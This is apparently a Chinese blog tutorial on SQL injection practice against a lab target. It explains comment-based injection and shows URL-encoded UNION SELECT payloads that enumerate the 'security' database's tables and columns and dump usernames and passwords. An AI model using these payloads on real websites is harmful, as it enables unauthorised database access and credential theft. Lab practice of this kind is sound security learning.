sql注入练习

1.什么是SQL注入

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库

2.sql注入原理

攻击者注入一段包含注释符的SQL语句,将原来的语句的一部分注释,注

释掉的部分语句不会被执行

上面注入位置在' '中,输入

会变成'id=1' 注入语句-- '用'补全前面的单引号,再用--+注释掉后面包括单引号的语句确保注入语句正常运行不会报错

也可以在后面加单引号,补全单引号。rfc-1738标准中+会被空格替代

同样的注释符号还有// /**/

#井号不能被识别,需要编码

3.sql注入一般步骤

1.求闭合字符

2.选择注入模式

3.爆数据库名

4.爆表明

5.爆列名

6.爆字段

4.靶场练习

1.求闭合字符

输入\后面是单引号

单引号报错

极有可能是单引号闭合 --+不报错

2.爆库名

order by查询列数,为3时报错,4报错,所以当前数据库3列

联表查询,查看数据库,id为-1时查询失败,允许执行后面的查询语句

3.爆表名

? id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+ 使用group_concat列出所有表名

4.爆列名

id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

5.爆字段,获取用户密码

?id=-1%27%20union%20select%201,group_concat(id,username,password),3%20from%20users--+

相关推荐
2301_815279521 天前
SQL如何利用聚合函数生成业务分析指标_KPI计算基础教程
jvm·数据库·python
qq_330037991 天前
mysql如何排查Out of memory错误_mysql内存分配调优
jvm·数据库·python
weixin_458580121 天前
如何在 Go 中直接将 AST 编译为可执行二进制文件?
jvm·数据库·python
Highcharts.js1 天前
Highcharts Grid 中文站正式上线:表格数据处理的全新选择
前端·javascript·数据库·表格数据·highcharts·可视化图表·企业级图表
Elastic 中国社区官方博客1 天前
Elasticsearch:使用 Agent Builder 的 A2A 实现 - 开发者的圣诞颂歌
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
2301_816660211 天前
PHP怎么处理Eloquent Attribute Inference属性推断_Laravel从数据自动推导类型【操作】
jvm·数据库·python
qq_372154231 天前
Go 中自定义类型与基础类型的显式转换规则详解
jvm·数据库·python
_下雨天.1 天前
NoSQL之Redis配置与优化
数据库·redis·nosql
LiAo_1996_Y1 天前
CSS如何实现文字渐变效果_通过background-clip实现艺术字
jvm·数据库·python
2401_887724501 天前
CSS如何让表单在手机端友好展示_利用Flexbox实现堆叠排版
jvm·数据库·python